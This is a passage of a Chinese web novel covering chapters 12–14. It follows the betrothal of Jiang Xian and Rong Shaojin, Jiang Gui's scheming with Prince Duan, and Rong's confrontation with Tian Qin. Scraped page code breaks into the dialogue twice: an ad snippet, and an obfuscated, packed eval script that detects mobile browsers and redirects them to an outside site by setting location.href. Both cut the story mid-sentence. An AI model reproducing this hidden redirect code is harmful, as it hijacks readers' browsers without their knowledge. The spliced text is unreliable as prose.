荣少锦便对花清道:“催催后面,动作快点。” 花清忙往回跑,去催促后面抬聘礼的队伍。 荣少锦又为姜闲介绍高员外郎,等两边见过礼,就一直陪在姜闲身边。 高员外郎给姜德递上礼单,和姜德聊起聘礼。姜德好几次试图把话递给荣少锦,可惜荣少锦都只是简单应付,明显注意力都在姜闲身上。 姜闲闲适地站着,看着荣家的人把一抬又一抬的聘礼摆进院子里。字画摆件,绫罗绸缎,珠宝玉器……着实是不少。 他突然感觉后背仿佛被什么扎了下,转身去看。 不过,他眼角余光看到,旁边的荣少锦转身比自己更快。 等姜闲望向去,就见到垂着头的姜贵。 荣少锦挪下位子,拦在姜闲和姜贵之间,低声说:“马上搬完了,再坚持一下。” 姜闲对他笑笑,重新回身站好。 终于,所有聘礼都摆在了院中,把前院占得满满当当。 高员外郎拿出圣旨,笑道:“姜侍郎、姜大公子,接旨吧。” 姜德连忙命管家燃香,带着妻儿在蒲团上跪下,院中仆人也纷纷跟着下跪。 高员外郎给荣少锦使个眼色,示意他站到自己身旁。 荣少锦却是走到姜闲身边,揭袍直接跪在地面上。 姜闲都禁不住愣了下。 姜德连忙叫人去多拿一个蒲团过来。 荣少锦抬手打断他,对高员外郎说:“表舅,快宣旨。” 高员外郎回视一眼,对姜德笑道:“姜侍郎不用麻烦了,这婚事是少锦求来的,就让他跪地上,才显得诚心诚意。” 姜德只得陪着笑夸荣少锦两句,心中却莫名地隐隐升起点不安——荣少锦对姜闲这般上心,实在有点出乎他的意料。 高员外郎看众人跪好,展开圣旨朗声宣读。 姜闲听完一篇虚话套话,跟着俯身叩首,领旨谢恩。 荣少锦起身快,再弯身来扶姜闲。 姜闲起身站稳,还等了片刻,姜德三人才在仆从的掺扶下站好。 姜德捧着圣旨,笑着把荣少锦和高员外郎往厅中请。 荣少锦却在这时主动开口:“我一直听闻姜侍郎廉洁,今日一见才知道传言不假,家中的新衣裳都凑不齐四身,让大公子穿着旧衣裳来接旨。” 姜德的笑直接僵在脸上。 高员外郎将刚抬起一点的脚又收回来,有点诧异地看向荣少锦。 姜德被说个没脸,反射性去瞪姜闲:“你怎么不穿新衣服!” 姜闲淡淡回视:“这已经是我最好的一身。” 眼见着姜德下不来台,贾金燕只得插话赔罪:“外子从不过问内宅之事,都是妾考虑不周到,让开阳侯和高员外郎见笑了,回头妾就为闲儿添几套新衣。” 荣少锦没看她,只对着姜德继续说:“这里没外人,我就直说了。” 姜德忍着满脸尴尬,陪笑回道:“开阳侯旦说无妨。” 荣少锦:“你升任尚书的文书,这两日就会下到工部。我对你家情况也略有一点了解,并不在意你家能出多少嫁妆。但我总是陛下的外甥,婚事不能办得太难看,不然丢的就是天家的脸。” 姜德紧咬着后槽牙,才没让脸上挂的笑垮下去:“我明白……必不会有损圣上和长公主、襄侯、开阳侯的颜面……” 荣少锦直接挑明:“聘礼单子我家里可留有底,你明白就最好。” 姜德暗自深深吸气,脸上强撑着笑容招呼他和高员外郎进屋喝茶。 荣少锦却转向姜闲:“茶就表舅去喝吧,我想和大公子说说话。” 姜闲抬头看他一眼,随即偏身伸手:“开阳侯请。” 12.哄 姜闲带着荣少锦往自己院子去。 原本他补了一觉,起来还算精神。可刚才又站又跪,一番折腾下来,疲惫感再次涌上,尤其腰酸痛得厉害。 姜闲扶着云雁走得慢,荣少锦就默默跟在旁边,陪着小步小步地走。 他不说话,姜闲身上不适,也乐得少说几句,只在心里寻思自己的。 刚才荣少锦相当于和姜德挑明了说,工部尚书那个位子才是真正给姜家的“聘礼”。而刚才招摇过市抬进来所有的东西,送嫁妆的时候都要一样不少地送回去。 姜闲前两天和姜德谈过,原本已经把那份聘礼当成了自己的囊中物。现在荣少锦却要全收回去,他不得不重新对自己的后续安排进行调整。 两人就这样沉默地回到姜闲的院子,进到屋中。 姜闲正要往桌边椅子走,却被荣少锦叫住。 荣少锦:“刚才站了那么久,你累了就先到床上躺着,也不妨碍说话。” 一边说,目光还一边扫过姜闲的腰,明显已经看出姜闲腰不舒服。 姜闲看他一眼,也没犹豫,直接让云雁把自己扶进卧房。既然能不委屈自己迁就对方,当然是让自己舒服更重要。 荣少锦跟进去坐在桌旁,让花清将怀中两个匣子放下,就打发他到外面院子等。 云雁伺候姜闲在床上靠着软枕侧躺好,再过来倒杯茶端给荣少锦。 荣少锦接过,目光扫过他,又看看姜闲,不作声地低头喝茶。 姜闲会意,对云雁道:“你出去吧,把门关上。” 云雁有点忧心地偷偷瞥一眼荣少锦,退出房去。 外间关门声传来,荣少锦才放下茶杯,却是站起身,将刚才带来的两个匣子拿到姜闲床上,自己也搬凳子坐到床边。 姜闲见那两个一掌多长的匣子还雕着花,一看就是送礼用的,问道:“这也是开阳侯的聘礼?” 荣少锦眉头不自觉地一蹙:“叫我名字就行。” 姜闲诧异地眨下眼,随即笑着应声好。 荣少锦一边打开匣子,一边说:“这些不在礼单之上,你拿着用。” 第一个匣子,里面是摆着一块羊脂玉双鱼玉佩,一支琉璃发簪,和一只白瓷小瓶。 哪怕姜闲没见过多少宝贝,也能从玉佩和发簪的色彩、光泽、柔润以及雕工上看出,都是价值不斐的上好物件。而且…… 姜闲视线转到荣少锦腰间,那里挂着一块和盒中那块一模一样的双鱼玉佩,显然是一对。 荣少锦再打开第二个匣子,里面整齐地摆放着两排小银锭,下面还压着银票,缝隙间还撒着碎银。 姜闲目测了下,银锭有一百两,碎银估计有个二十两左右。 荣少锦:“除去碎银,这里有五百两,需要什么你就买。我爹娘不能在京久留,十天后我们成婚。期间若是不够花,你派人到长公主府说一声,我给你送来。” 姜闲这回是真吃惊了,不解地看着荣少锦。 荣少锦眼中现出点愧疚:“我了解过你在华泽县的情况,你在这里应当是不太自在,手头有银子才方便。不过别拿去赌了,十赌九输。” 姜闲目光一闪——看来荣少锦大概以为自己昨晚是去赌馆赌钱的。 荣少锦又从怀中摸出一份小摺本,放到姜闲面前:“这是聘礼的礼单,你收着。刚才你爹也说了,会全给你当嫁妆,等成了婚抬过去,你随便用。” 姜闲再次愣了下——没想到,刚刚自己还因为少了这笔钱而在琢磨怎么调整,荣少锦马上又把它送回来了。 他伸出手,翻开那份摺本,目光在上面扫过。 荣少锦继续说:“明日我让人给你送婚服过来试试,哪里不合适还能抓紧改。还有我几套没穿过的新衣裳,一并改了给你先穿着,裁新的没那么快。” 姜闲重新抬眼看他:“谢谢,不过衣裳就不用了。刚刚夫人说过,会给我准备新的。” 荣少锦却撇下嘴:“她也就当着我的面做个样子。” 姜闲这下能确定了——荣少锦的确查过自己家的情况,估计外人能知道的信息他都知道。荣家是先确定好自己这个目标,才放出那个“一见钟情”的流言布下求娶之局。 要不是两人在京外意外相遇,荣少锦的崔七身份又被姜闲认出来,进而暴露流言是假的。姜闲甚至怀疑,荣少锦会真要照着那条流言,对自己演一演“一网情深”的戏码。 不过现下看,荣少锦对这婚事还是有一定的诚意。毕竟在姜贵的“上一世”里,这桩婚事在他眼中非常美满,值得羡慕,让他想要抢夺。 想到刚才姜贵那副面色灰败的模样,姜闲心情又好一分。 他合上摺本,目光凑巧掠过匣子中的白瓷小瓶,便拿起来拔开瓶塞看看,再嗅一嗅。 气味虽清淡,却不难分辨,是活血化淤的外用药,用的还是上好的药材。 姜闲面色有些微妙地看向荣少锦。 荣少锦目光有些躲闪,耳朵地微微泛红:“盒子有空位,我就添了这瓶。这药用的是华大夫的方子,疗效很好,平常磕碰伤着都可以用。” 姜闲没说什么,塞回塞子重新放好。 这药的确比他自己配的要好,既然荣少锦舍得送,他自然没必要往外推。 姜闲想了想,顺着药的话题问:“昨晚你中的药,有眉目了吗?” 荣少锦眸光即刻变冷。 姜闲见他不说话,识趣地没有多问,只提点道:“昨晚我闻着,那药里有醉仙草。这种药材既少且贵,会用它来配药的地方肯定很少。” 荣少锦点下头:“醉仙草,我记下了。” 两人正说着话,突然听见外间传来叩门声。 姜闲扬声:“进。” 荣少锦关上匣子,拿到桌上。 随着开门声响,两道脚步声也一同响起。 荣少锦刚坐回床边凳子,云雁和姜贵就从屏风后绕出来。 姜贵扫一眼室内情形,先对荣少锦行礼,才问姜闲:“兄长又身体不适?” 姜闲:“有些倦,就躺着了。什么事。” 姜贵却是对着荣少锦说:“晚饭已经备好,家父请开阳侯过去一同用饭。” 说完,看向姜闲:“兄长既然不舒服,就不用勉强过去了吧。开阳侯也不是外人,想来不会介意。” 姜闲懒得理会他那点无聊的小心思,也不想对着姜家三人影响胃口,就顺势对荣少锦道:“我要吃药膳,就不陪开阳侯了。” 是借口,也是实话。 荣少锦却看也没看姜贵,只问:“什么药膳,我能不能吃。” 姜闲看看他面色:“温补的,不多吃就没事。” 荣少锦接得干脆:“那我跟你吃。” 说完才施舍给姜贵一眼:“你走吧。” 姜贵面上都显露出几分藏不住的又妒又恨。 云雁在旁边看得解气,忍不住插话:“郎君、开阳侯,药膳已经做好,随时可以开饭。” 姜闲:“那就开饭吧,时候也不早了。” 一边说,他一边撑坐起身。荣少锦立刻离座,伸手去扶他。 云雁原本还对荣少锦很抵触,可今日见他给姜德和姜贵摆脸色,现在又对自家公子体贴,一下就对他改观不少。 因此云雁识趣地没上前帮忙,而是出言赶姜贵:“是,马上摆饭!二公子,你也快回前头吃饭吧!” 姜贵再气也无可奈何,只得离开。 屋里没了其他人,姜闲握住荣少锦扶自己的手,拉到面前。 荣少锦一愣,就见姜闲用三指搭在自己手腕号脉。 姜闲静静号过片刻,示意荣少锦换另一只手。 荣少锦配合地换手,诧异地问:“你懂医术?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜闲:“略知一二,久病成医而已。” 他给荣少锦号完脉,一边起身一边说:“没问题,今晚的药膳都可以吃。” 荣少锦扶着他到外间坐下,云雁和主动帮忙的花清正在上菜。 真是药膳,能闻到淡淡的药味。就是分量少,应该是只准备了姜闲吃的。 姜闲吩咐云雁:“这不够吃,再多做几个菜给开阳侯。” 荣少锦听得一笑:“这么麻烦做什么。花清,到前头端两盘子过来。” 云雁最喜欢这种给姜家人添堵的事,立刻接话:“我带他去!” 姜闲为荣少锦介绍了下桌上的三菜一粥。 荣少锦举筷子挨个尝过,眼中闪过惊讶:“味道真不错。我还是第一次吃到好吃的药膳,以前偶尔吃一些,都是味道奇奇怪怪的。” 姜闲笑道:“华泽县城有一家颇有名气的药膳馆,我碰巧救过那里的东家,他给了我一些方子当谢礼。我闲来无事,琢磨着做改进,也帮他生意越做越好。” 荣少锦:“味道这么好的药膳馆,东家应该也不简单。” 能赚大钱的生意,普通人保不住。 姜闲低头慢慢喝着粥,缓缓说:“他简不简单我不清楚,我只知道,我上京前他来送行,当时跟我倒了许多苦水,说赚的钱都要抵不过给出去的钱了。 “他还打探我的话风,想把药膳馆搬到京里来。但先不说我和我父亲不睦,哪怕我父亲升到三品的工部尚书,在京里怕是也保不住那种独一份的买卖。” 荣少锦扬扬眉:“你要想保他,我家倒是有这个面子。” 姜闲诧异回视:“我只是随口一说……” 荣少锦:“对我也只是举手之劳,看你想不想帮他。” 姜闲思索片刻:“那我写信问问他……成婚之后。” 荣少锦对补充的这句非常满意,抬手给姜闲夹了一筷子菜。 没多久,云雁和花清一人拿着两盘子好菜回来。 荣少锦心情好,让他们每盘都摊一些去吃。 这顿饭吃了不少时间,直到有仆人来传话,说高员外郎问荣少锦准备什么时候走,荣少锦才起身。 姜闲要送,荣少锦拦了没让,自己带上花清跟来传话的仆人离开。 临走前还叮嘱:“好好休息,我会叫姜德别来打扰你。” 姜闲目送荣少锦走远,让云雁锁了院门,再连刘山一同叫进卧房。 他先将装有五百两的匣子交给两人。 云雁愣愣地盯着银子:“真是……给郎君的?先前开阳侯不是说,聘礼都要抬回去……” 姜闲:“是要抬回去,但也是给我。这些银子你们收好,该花就花。” 云雁和刘山对视一眼,点点头。 姜闲继续说:“等我成婚后,刘叔回一趟华泽,把药丸带回去,告诉对方这是最后一笔,以后就断了。再告诉许真,把药膳馆关了,带人进京新开一家。” 云雁和刘山都听得一惊。 云雁心急,抢着问:“药丸就不做了?!那可是我们最大的来钱处,比药膳馆赚得都多!” 刘山也说:“回华泽虽然麻烦,但反正三个月才交易一次,也不耽误啊。” 姜闲:“在华泽我们好隐藏行踪,从京里回去可不同。你多跑个几次,说不定就会被发现。而且路上还可能遇贼人抢钱,在长公主府里制药丸也可能露馅,没必要冒那个风险。 “药膳馆在华泽赚得越多就要上供得越多,但在京里不同。背靠长公主府,没人敢伸手要钱,这边赚的能补得上药丸那边。刘叔这段时间可以先留意着门面,帮许真做点准备。” 云雁:“郎君跟开阳侯说了药膳馆吗?” 姜闲:“我只说是朋友开的,总之他答应出面。” 刘山看自家公子已经做下决定,便没再多说,点头应下。 13.各方 姜贵在姜闲院子里吃了一肚子气,却也意外发现一件事——那院子里停的马车,他昨晚在来财赌馆见过! 对于姜闲昨晚的夜不归宿,姜贵原本完全没有细想。他的一切计划都被打破,一直在想补救之法,根本顾不上姜闲。 可见到那辆马车,姜贵才猛然一惊——姜闲昨晚怎么会去来财赌馆?那他和荣少锦有没有碰上? 昨晚端王武敏吉也在来财赌馆……会不会姜闲被武敏吉看到一事,变成在那里发生? 想到武敏吉,姜贵就禁不住打个寒颤。 上一世他就在端王府中,对于武敏吉那些狠辣手段,虽然并不算清楚,也多少听到传闻,看到端倪,最后那杯毒酒也让他亲身感受。 这一世他完全不想和武敏吉接触,昨晚却因为姜闲不听话,让他得罪了武敏吉。现在他还得想法子弥补,否则万一被武敏吉记上仇,他都不敢想会怎么样。 所有事都不顺心令姜贵心烦意乱,脑子里更是乱糟糟的,只是心中对武敏吉的恐惧让他不做点什么就不安心。 于是在进饭厅之前,他把自己的书童带到一边交待:“你现在去来财赌馆问一问,问清楚,姜闲昨晚是不是在那里……我看到他的马车,他一定在!然后你去端王府,告诉端王姜闲昨晚去赌馆找他了。” 书童听前半段还在应声,听到后半段直接腿软得跌坐在地上,哭道:“郎君,你这不是让我去送死吗……” 姜贵本来心就乱,他这么一哭,更是烦躁到极点,抬脚就踹过去:“赶紧滚去做事!要是做不好,我就把你卖到南风馆去!” 书童躲过他一脚,看他真发了脾气,也不敢再求,只得爬起身走了。 姜贵压了压气,刚想转身,却看到廊外一朵紫花,开得明媚又大气。 他看着那花,无端又想起姜闲那张脸,想也没想就迅速伸手,将整朵花狠狠揪下,扯了个稀烂。 * 姜贵以为,武敏吉昨晚去了戏馆没见到姜闲,会因为受骗而大怒并记仇。 但事实上,武敏吉并没有生气。他在戏馆看了一半戏,觉得无趣,就转到赌馆玩了一晚。来财赌馆最近出了新玩法,还挺有趣,他玩得心情不错。直玩到宵禁过了,坊门打开,才打道回府。 今日他睡到中午才起来,下午就叫了后院几个郎君来陪,顺便还听仆人报了一通“开阳侯带了多少多少聘礼到工部姜侍郎家中定亲”的热闹。 夜色降临,武敏吉吃过晚饭,开始琢磨今晚到哪里去玩。 这时,他一个心腹门客进来,禀道:“殿下,刚才姜家的下人又过来了。我让人确定过,就是昨日报信说姜大公子去戏馆那个。” 武敏吉兴致缺缺地回:“哦,来赔罪?” 门客:“那倒不是主要的……” 一边说,他目光一边瞟过周围的人。 武敏吉会意,摆手让人都退出去。 门客这才凑近他,低声说:“那人说,昨晚姜大公子去了来财赌馆,一晚上都没回家,今日上午才回去的。” 武敏吉嗤笑一声:“这是想把我骗到底?” 门客却说:“依我感觉,他还没这个胆子,说的应该是真话。戏馆那边已经打听到了,昨晚的确有个特别俊美出众的公子,不过是从侧门进的,坐在二楼最里面的雅座,戏刚开场就离开了。 “说不定姜大公子当时就去了来财赌馆。殿下一整夜都在那边,有没有见着像的人?凭姜大公子的长相,只要瞧着一眼,必然会有印象。” 武敏吉眼珠转了转,吩咐:“那你亲自去来财赌馆问清楚,有没有那么个人去,是不是待了一整晚,都玩了些什么。” 这个门客正是先前见过姜闲的人之一,闻言连忙应下,当即就告退去办事。 不过,他刚走出两步,又被武敏吉叫住。 武敏吉:“姜家那个下人,你怎么处理了?” 门客躬身回:“骂了他一顿,也赏他点钱,让他以后有消息再来报。要探知姜家内部的消息,还是得留着这么条线。” 武敏吉再问:“下午荣少锦去下定,你问了他什么情形吗。” 门客:“仔细问了,只是他不在姜大公子身边伺候,知道得不多。说是高员外郎宣过圣旨后,开阳侯就到姜大公子的院子里去说话,连吃饭都出来,两人单独在房里吃。” 武敏吉摩挲着手中茶杯沉思。 门客观察着他的神色,等过片刻,犹豫着补充道:“会不会那个流言是真的……开阳侯贺完寿回京之时,的确在华泽县城住过一晚,可能真是在那时见到过人……” 武敏吉拿看傻子的眼神看他:“荣少锦当时要真看中了人,能忍得住不当场结交?我们的人一直缀着他,根本没见他有异样。” 门客当即认错:“是小人愚钝。殿下英明。” 武敏吉:“去办事吧,仔细点。” 门客弯着身子退出去。 武敏吉继续垂着眼摩挲杯子,良久,轻哼一声。 * 荣少锦在姜家外和高员外郎分开,拉过花清小声吩咐:“你去一趟华大夫那儿,托他老人家帮忙查查,京中哪里会卖含有醉仙草的药。” 花清听得奇怪:“醉仙草?那是什么,我怎么从来没听说过。” 荣少锦:“让你去你就去,别多问。” 花清:“可若是华大夫问起由缘,我要怎么说?” 荣少锦:“就说我是让你传的话,你也不知道为什么。” 花清这个小厮心思单纯,在华大夫面前根本藏不住事,只有他真不知道,华大夫才不会多想。 而且,荣少锦也的确想守住那一晚的秘密。 花清了然地点点头:“好,那我这就去了。传话之后呢?” 荣少锦:“你就直接回家,我去田钦那。” 说完,他翻身上马,调转马头,往泽恩侯府去。 只是,荣少锦冷静下来之后想过,这事八成和田钦没有关系。如果真是田钦,不管是想害他还是单纯想给他助兴,最后发现他不见了,都会第一时间找到长公主府跟他解释。 重新回顾昨晚的事,田钦的小厮应该是被人利用来,而且只到出面骗自己过去这一步,再往后的下药没有参与。要查出下药的人,还是得从醉仙草那边入手,只能看华大夫能不能找到线索。 不过,田钦那里还是要去一趟。能找出利用他小厮的人是最好,即使找不出来,他总得上门闹一通才符合常理。 荣少锦在泽恩侯府门前跳下马,上前大力拍门。 侯府的门房刚从小门出来,就被他揪住衣领提起:“开大门,赶紧的!老子要找田钦那混蛋算帐!” 门房被他这一声怒吼吓得一哆嗦:“开阳侯这是怎么了,五公子这两天都陪着夫人念经,一直待在家里,安分得很呀。” 荣少锦狠狠瞪他:“他待在家里无聊,就戏耍我是吧!少废话,开大门!” 门房连声讨饶:“好好好,小的这就开这就开,那您高抬一下贵手,放开小的……” 荣少锦没好气地推了他一把。 门房顺势后退几步,从小门里钻进去。先叫过一个下人赶紧进去禀报田钦,这才打开侯府大门,又迎出去给荣少锦牵马。 荣少锦扔过缰绳,没再理门房,直接大步往里闯。 他和田钦作为常厮混在一处的京中纨绔帮,在对方家里胡闹都是常事,侯府下人见着他也不会拦。 荣少锦熟门熟路地走到田钦院子,就见已经得知消息的田钦迎出院门。 田钦笑呵呵地大声招呼:“我刚可听说了,你家抬聘礼的队伍长得都要人眼花。我还说一会儿去给你道贺,没想到你先过来了,恭喜恭喜啊,少锦兄、开阳侯。” 荣少锦收敛些怒气,只冷脸看他。 田钦走上前,抬手要拍荣少锦肩膀:“怎么了,终于能娶到让你相思成疾的人,怎么还挂着个脸。是哪个不长眼的家伙,在这种大喜的时候招惹我们少锦兄弟?” 荣少锦错开一步,躲过他的手:“你还有脸说。” 田钦惊讶地指指自己:“我?我干什么了,这两天我被我娘压着,连门都没得出。” 荣少锦抱起手臂:“你出不了门,昨晚还叫小厮约我去来财赌馆。放我鸽子很好玩是吧!” 田钦瞪大眼,满脸无辜:“你别冤枉人啊,我可没做过这事。” 荣少锦:“把你小厮叫来问!就高低眉那个。” 田钦让人去喊小厮,又把荣少锦往屋里让:“别站着,你不累 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荣少锦眯着眼睛看向跪在地上的小厮:“真有商队找你?不是你们主仆串通好,瞎编的吧。” 小厮连忙申诉:“真的有真的有!小人要有半句假话,老天就让我嘴烂掉!” 田钦也说:“我哪儿犯得上骗你啊。再说了,就算我想戏耍你,光放鸽子多没意思,肯定得整点其他事。” 荣少锦:“那让你小厮去把客栈脚店都跑一遍,把人找出来。” 小厮立刻答应:“小人这就去!这就去!绝对把那伙人找出来!” 话都没说完就爬起身,飞快地窜出门去,生怕再晚一点就要受其他皮肉之苦。 荣少锦脸色缓了一些,嘴上却不松口:“你小厮干的事,你这个主人准备怎么给我赔罪?” 田钦大方地挥手:“来财赌馆,现在就走!你随便玩,今晚我全买单!” 荣少锦撇嘴:“不去,想起那地方就生气。” 田钦想了想,一拍手:“那这样吧。群芳楼、倚红馆、春意阁这三家,最近准备搞一个舞魁赛,还是在金洛河上踏波而舞,这几日就要开始了。我包条画舫,叫上兄弟几个,一同去看,绝对最佳观赏位。” 荣少锦斜眼看他:“这种事你一向跑得快,都是早就打算的好吧,就拿来敷衍我。我又不喜欢女人,你这赔罪是赔得一文钱都不多掏啊。” 田钦嘻皮笑脸地回:“喜不喜欢是另一回事,欣赏欣赏总是可以的嘛,听说为了筹备这次比赛,从外头找来了不少厉害的舞娘。再说,我刚才叫你去赌馆,是你不乐意。那你说,你想要什么。” 荣少锦思索片刻,说:“这样,你那条画肪让给我,我带姜闲去。你们几个另外再包一条。” 田钦眨巴下眼:“姜闲?谁?” 荣少锦再送个白眼:“我下午才带那么多东西去姜家,你说是谁。” 田钦转过弯来,咂巴下嘴:“不是吧你!还把我们赶走,就这么不舍得让我们见见人?” 荣少锦:“他身子有点虚,你们太闹腾,打个招呼就可以滚了,留下来吵着他。” 田钦虚指指他,又两手一摊:“不是我小气不肯花银子,那片江面早就被划分完了,能占着位子的我个个都得罪不起,上哪儿再找一条船去。” 荣少锦顶回去:“那我不管。要不你就再想想,还能怎么向我赔罪。” 田钦无奈:“这样吧,那画舫是两层的。你们在上一层看,我们就待在下一层不上去。可以吧?” 荣少锦想了想,点头:“行,就这样。你跟他们都说说,大嗓门暴脾气都给我收着点。还有,见面礼不能少。” 田钦:“你成婚我们还要送礼呢,这还多刮一道见面礼!当初怎么不见你给我媳妇儿送见面礼。” 荣少锦理不直气壮:“那是你成婚前没把人带出来。” 田钦呸他一声:“她是女的,成婚前带出去见你们像话吗!” 荣少锦:“你有本事重新娶个男的,我加倍送回去。” 气得田钦直拍桌子骂他不要脸。 荣少锦气定神闲地端起杯子,慢条斯理地喝剩下半杯茶。 14.朋友 随着荣少锦亲自带着下聘队伍走进姜家,传开好一段时日的“开阳侯婚事”的传言总算是有了结果。 紧跟着皇帝赐婚的消息也传开,当天京中各处都在议论这桩婚事。姜家外头都多了不少闲人,就为了一睹那位传言中让开阳侯一眼爱上的姜大公子长什么样。 姜闲不出门都能想象得到外面的情形。反正现在该了解的事基本都了解了,决定已经做好,剩下的事都急不来。 离成婚还有十日,姜闲就准备不再出门,安安静静待在自己的小院里,和云雁、刘山一起制药丸,争取在成婚前把最后一批药丸都制好。 翌日午后,长公主府里负责裁衣的管事嬷嬷带着一队人过来,让姜闲试喜服。还带来七八件荣少锦的新衣,让姜闲挑喜欢的出来改尺寸。 全都是华泽见都见不到的好料子,好颜色,好纹样。 云雁伺候着姜闲穿上喜服,脱口就夸:“郎君穿起来真好看!” 嬷嬷也在旁不住嘴地夸赞。 姜闲对着镜子前后照照:“挺合身,感觉都不用再改。” 嬷嬷笑道:“还是要改改的。像这里……和这里……这样收一收,更显得您颀长。” 姜闲捧她一句:“嬷嬷眼光独到。” 等嬷嬷做好标记,姜闲脱下喜服,让她仔细量身。 云雁忍不住摸摸喜服上的绣纹,好奇地问:“好精致……这喜服是什么时候做的?” 嬷嬷暗暗看一眼姜闲,卖力为自家公子拉好感:“府中绣娘们赶了一个多月的工呢,才赶出两件。当时开阳侯一回到家,头一件事是写信给长公主和驸马,第二件事就是吩咐我们准备喜服。 “料子、颜色、纹样,都是开阳侯亲自定的,连您这件的尺寸,都是按着开阳侯目测的来做。开阳侯念着您,记得仔细,这做出来果然是差不多少,几处小地方两三日就能改好,绝不会耽误婚事。” 姜闲也没说破,笑着道声辛苦,重新穿上外袍,去看荣少锦的新衣。 嬷嬷一件件拿起来往他身上比,每一件都赞不绝口。等姜闲挑好,又笑说:“府上库里还收着不少好料子,开阳侯的意思是,等姜公子过去了,再挑您喜欢的裁新衣,这几身先将就穿着。” 姜闲:“不着急,有这几身便很好了。” 正说着话,刘山拿着帖子进来禀:“郎君,陈甫公子递的帖子,他已经等在外头。” 姜闲接过看看,的确是陈甫的笔迹和印章,便说:“请他进来。” 嬷嬷见他有事,忙道:“姜公子有事,我们这便收拾,不多打扰您。” 一边又吩咐人赶紧收拾东西。不过,细碎东西多,又忙中出错,几个绣娘手忙脚乱地收拾了好一阵,直到陈甫都被领进来了,才打好包袱。 嬷嬷领着人给姜闲行礼:“这帮丫头毛手毛脚的,让姜公子见笑。” 又对陈甫也行一礼,才跟着云雁离开。 一行人坐上马车,马车慢悠悠走起来。 嬷嬷从帘缝中瞧着,确认出了姜家侧门,招手叫众绣娘挨近些,小声问:“刚才那个陈甫,你们有谁知道吗?” 刚才几个绣娘配合默契,收拾时照嬷嬷的暗示拖时间。现在却是相互看看,纷纷摇头。 只有一人仔细想了想,说:“上回我和东方家的小姐妹出门玩,见到过他,是今年的新科二甲进士,听说东方将军挺看好他。” 就有人笑着八卦:“东方将军想招女婿啊,不过他们文人怕是不愿意哦。” 嬷嬷伸手打断,皱眉道:“姜公子进京才几日,就交到能递帖拜访的朋友……” 众绣娘都禁了声,相互看看。 先前那人又说:“陈公子好像华泽人,和姜公子同乡,可能以前就认识。” 这时,一名坐在车窗边的绣娘突然掀开窗帘一指:“郎君在那里。” 众人都跟着看出去,果然见到骑在马上慢行的荣少锦。 嬷嬷连忙滑开车厢滑窗,急声吩咐马夫:“停车停车,快快,过去拦下郎君!” * 姜闲招呼陈甫坐定,让云雁上茶水点心,笑问:“陈兄前来是有事要说,还是闲着过来聊聊。” 陈甫没有马上开口,看向姜闲的目光相当复杂,姜闲甚至能从其中明显地看出惊讶、不忿、难过、婉惜、无奈、同情。 姜闲笑笑,自然已经猜到他的来意,主动提起:“陈兄是知道我的婚事了吧。” 陈甫最终只能一叹:“什么时候办?” 姜闲:“还有九日。陈兄日后若是不方便相见,那今日大概就是我们最后一次单独见面。” 陈甫拧着眉:“没有一点转圜的余地了吗?” 姜闲:“今日上午,家父已经到衙门办好婚书。” 说完,反倒劝陈甫说:“陈兄不用这般模样。我和你不同,本来也没什么远大志向,能和家母安安稳稳过一生,就是我最大的愿望。以长公主府的家底,我在那里应当能比在这里过得好很多。” 陈甫眼中的悲伤更浓一分。 姜闲失笑地摇摇头,提议道:“陈兄今日若不赶时间,不如我们手谈几局?日后怕是没再有这种机会。” 陈甫收敛几分心绪,点头应好。 姜闲就让云雁拿出棋秤,双方各自执棋。 刚走没几步,刘山再次进来禀:“郎君,开阳侯来了。” 正好轮到陈甫下,他手中棋子在棋秤上敲了一下,才落稳。 姜闲一边接着落子一边回:“请他进来。” 刘山退出去,陈甫才抬头看来:“我是不是该告辞……” 姜闲:“你若是不介意就先等等,看看他是什么事。若是觉得不自在,我让云雁领你绕出去。” 陈甫有些愣。原本他手都已经放在扶手,听见这话,就没起身。 荣少锦很快进来,对姜闲点下头,目光就落到陈甫身上:“我刚听刘山说了,陈翰林。” 陈甫起身作揖:“开阳侯。” 荣少锦抱个拳,随后拖张椅子坐到姜闲身旁,和他一同看棋秤。 姜闲侧头看他:“你会吗?” 荣少锦摇头:“不怎么会,你们下。” 姜闲看一眼陈甫的面色,又问:“有事?” 荣少锦一笑:“也不算正经有事。刚才田钦——就是我一个朋友,泽恩侯的五公子。陈翰林应该知道?” 陈甫无言点头。 荣少锦续道:“过几日在舞魁大赛,田钦包了艘花舫,约我们一同去看热闹。你有空吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617579|141397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 姜闲:“好,我没事。” 荣少锦:“那我到时过来接你。” 说完,又看向陈甫:“陈翰林在这里,我本是诚心想邀你一起。不过你大概不想和我们这帮子人挨边,对外会风评不好,我就不开这个口,免得你难做。” 陈甫连忙拱手:“感谢开阳侯体谅。” 荣少锦道声“好说”,再敲敲棋秤:“你们继续,不用在意我。” 姜闲便掂起棋子,落下一颗。 陈甫思考的时间长一点,两人你来我往落下几颗子。 荣少锦看过一会儿,目光开始无聊地四下扫,找话题似地问:“陈翰林也是华泽的啊。” 陈甫:“是,我与姜兄是同乡。” 姜闲听得心下有点好笑,开始寻思起找个什么借口好让荣少锦离开。 却只陈甫问:“我来京城时间不长,不太懂京中规矩。开阳侯与姜兄的婚事,我该送多少礼金合适?姜兄在京里只有我一个朋友,到时可不能丢了姜兄的面子。” 姜闲诧异地看向他,还发现旁边的荣少锦同样现出惊讶神色。 荣少锦:“婚礼你要来?” 陈甫不卑不亢:“两位总不会吝于给我一张喜帖吧。” 姜闲不由得和荣少锦对视一眼。 荣少锦甚至忍不住提醒:“你可是在翰林院。” 翰林院虽是最清水的衙门,但也是最清高的衙门。 哪怕陈甫现在只是在里面学习,可一旦和荣少锦这种娶男妻的纨绔有交集,更别说他还是那个男妻的同乡,几乎都可以预见被同僚孤立的未来。 陈甫却是无所谓地一笑:“姜兄以前帮我良多,如今办喜事,我怎能不到场。” 